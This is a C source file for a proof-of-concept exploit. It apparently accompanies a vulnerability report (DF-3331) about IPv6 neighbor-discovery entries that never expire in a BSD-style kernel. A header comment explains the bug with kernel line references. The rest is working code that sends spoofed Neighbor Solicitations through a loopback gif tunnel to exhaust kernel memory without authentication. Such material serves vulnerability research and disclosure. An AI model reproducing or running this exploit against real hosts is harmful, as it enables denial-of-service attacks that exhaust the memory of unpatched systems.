DF-3331 / nsimmort3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 | /* * DF-3331 PoC (v3) -- immortal ND6_LLINFO_NOSTATE neighbor-cache entries. * * Injection: a gif(4) self-tunnel (gif0 outer ::1 <-> ::1). We send the * ATTACKER-CRAFTED inner IPv6 packet as the payload of an IPPROTO_IPV6 * (41) raw-socket send to ::1; the kernel decapsulates it on gif0 and * runs it through ip6_input -> icmp6 -> nd6_ns_input() as a RECEIVED * packet (rcvif = gif0), with a fully attacker-chosen IPv6 source * address -- bit-identical to what an on-link peer sends at a real * victim. gif is a legitimate ND interface (nd6_need_cache(IFT_GIF)=1, * nd6.c:2139), so the neighbor-cache path under test is the production * one. * * BUG (sys/netinet6/nd6.c): nd6_ns_input() (nd6_nbr.c:407) calls * nd6_cache_lladdr() even with NO source link-layer address option; for * a not-yet-cached source, nd6_cache_lladdr() case (6) (nd6.c:1780-1786) * creates an ND6_LLINFO_NOSTATE entry whose ln_expire stays 0, and * nd6_timer_dispatch() (nd6.c:463-574) has no NOSTATE case and requires * ln_expire != 0 in every freeing path => the entry is immortal. * One NS frame per spoofed source == one pinned rtentry+radix+llinfo * allocation: unbounded kernel memory exhaustion, unauthenticated. * * PRIVILEGE MODEL: root needed only to build the test rig (gif + raw * socket). The inner packets are what any on-link attacker emits. * * modes: * nsimmort3 setup gif0 * nsimmort3 blast -t <gif0-link-local> -g <gif0-ifindex> [-n N] [-s] [-S start] */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <netinet6/in6_var.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static void die(const char *s) { fprintf(stderr, "nsimmort3: %s: %s\n", s, strerror(errno)); exit(1); } static uint16_t cksum16(const uint16_t *p, size_t nbytes, uint32_t sum) { size_t nwords = nbytes / 2; while (nwords--) sum += *p++; if (nbytes & 1) sum += htons(((const uint8_t *)p)[0] << 8); while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return ((uint16_t)~sum); } static int setup_tunnel(const char *ifname) { struct in6_aliasreq ifra; int s, error; if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) die("dgram socket"); memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name)); ifra.ifra_addr.sin6_len = sizeof(struct sockaddr_in6); ifra.ifra_addr.sin6_family = AF_INET6; if (inet_pton(AF_INET6, "::1", &ifra.ifra_addr.sin6_addr) != 1) die("pton"); ifra.ifra_dstaddr = ifra.ifra_addr; error = ioctl(s, SIOCSIFPHYADDR_IN6, &ifra); printf("nsimmort3: %s tunnel ::1 <-> ::1: %s\n", ifname, error == 0 ? "ok" : strerror(errno)); close(s); return (error); } int main(int argc, char **argv) { struct in6_addr tgt, src, dst6; uint8_t inner[128]; struct ip6_hdr *ip6 = (struct ip6_hdr *)inner; struct nd_neighbor_solicit *ns = (struct nd_neighbor_solicit *)(inner + sizeof(*ip6)); uint8_t *opt = (uint8_t *)(ns + 1); long n, i, start = 1, ok = 0, fail = 0; int ch, s, withslla = 0, gidx = 0; const char *target6 = NULL; size_t nslen, len; struct sockaddr_in6 dst; if (argc > 1 && strcmp(argv[1], "setup") == 0) { if (argc < 3) die("setup <ifname>"); return (setup_tunnel(argv[2]) == 0 ? 0 : 1); } if (argc > 1 && strcmp(argv[1], "blast") == 0) { argc--; argv++; } n = 5000; while ((ch = getopt(argc, argv, "t:g:n:sS:")) != -1) { switch (ch) { case 't': target6 = optarg; break; case 'g': gidx = atoi(optarg); break; case 'n': n = atol(optarg); break; case 's': withslla = 1; break; case 'S': start = strtol(optarg, NULL, 0); break; default: goto usage; } } argc -= optind; argv += optind; if (!target6 || !gidx || argc != 0) { usage: fprintf(stderr, "usage: nsimmort3 setup <if>\n" " nsimmort3 blast -t <tgt-LL> -g <gif-ifindex> " "[-n N] [-s] [-S start]\n"); return (1); } if (inet_pton(AF_INET6, target6, &tgt) != 1) die("inet_pton(target)"); /* inner dst = solicited-node multicast of the target (on gif0) */ memcpy(&dst6, &tgt, sizeof(dst6)); dst6.s6_addr16[0] = htons(0xff02); dst6.s6_addr16[1] = 0; dst6.s6_addr32[1] = 0; dst6.s6_addr32[2] = htonl(1); dst6.s6_addr8[12] = 0xff; if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)) < 0) die("raw proto-41 socket"); memset(&dst, 0, sizeof(dst)); dst.sin6_len = sizeof(dst); dst.sin6_family = AF_INET6; if (inet_pton(AF_INET6, "::1", &dst.sin6_addr) != 1) die("pton ::1"); nslen = sizeof(*ns) + (withslla ? 8 : 0); len = sizeof(*ip6) + nslen; for (i = 0; i < n; i++) { ssize_t rc; /* attacker source: fe80::<start+i> -- NO embedded scope id: * wire packets carry 0 there (ip6_input.c:378 rejects nonzero * on receipt and re-embeds rcvif->if_index at :401, so * nd6_is_addr_neighbor() (nd6.c:993) sees the right zone). */ memset(&src, 0, sizeof(src)); src.s6_addr16[0] = htons(0xfe80); src.s6_addr32[3] = htonl((uint32_t)(start + i)); memset(inner, 0, len); ip6->ip6_flow = htonl(6 << 28); ip6->ip6_plen = htons(nslen); ip6->ip6_nxt = IPPROTO_ICMPV6; ip6->ip6_hlim = 255; /* ND requirement */ ip6->ip6_src = src; ip6->ip6_dst = dst6; ns->nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT; ns->nd_ns_target = tgt; if (withslla) { opt[0] = ND_OPT_SOURCE_LINKADDR; opt[1] = 1; /* 8 bytes */ opt[2] = 0xde; opt[3] = 0xad; opt[4] = (uint8_t)(i >> 8); opt[5] = (uint8_t)i; opt[6] = 0xbe; opt[7] = 0xef; } { uint32_t sum; int k; uint16_t pseudo[20]; uint8_t *pb = (uint8_t *)pseudo; memcpy(pb, &src, 16); memcpy(pb + 16, &dst6, 16); pb[32] = pb[33] = pb[34] = pb[35] = 0; pb[36] = (uint8_t)(nslen >> 8); pb[37] = (uint8_t)nslen; pb[38] = pb[39] = 0; pb[39] = IPPROTO_ICMPV6; sum = 0; for (k = 0; k < 20; k++) sum += pseudo[k]; ns->nd_ns_hdr.icmp6_cksum = cksum16((const uint16_t *)ns, nslen, sum); } rc = sendto(s, inner, len, 0, (struct sockaddr *)&dst, sizeof(dst)); if (rc < 0) fail++; else ok++; if ((i % 2500) == 2499) { printf("nsimmort3: %ld/%ld inner NS (fail=%ld)\n", i + 1, n, fail); fflush(stdout); } } printf("nsimmort3: DONE sent=%ld fail=%ld (slla=%d)\n", ok, fail, withslla); return (0); } |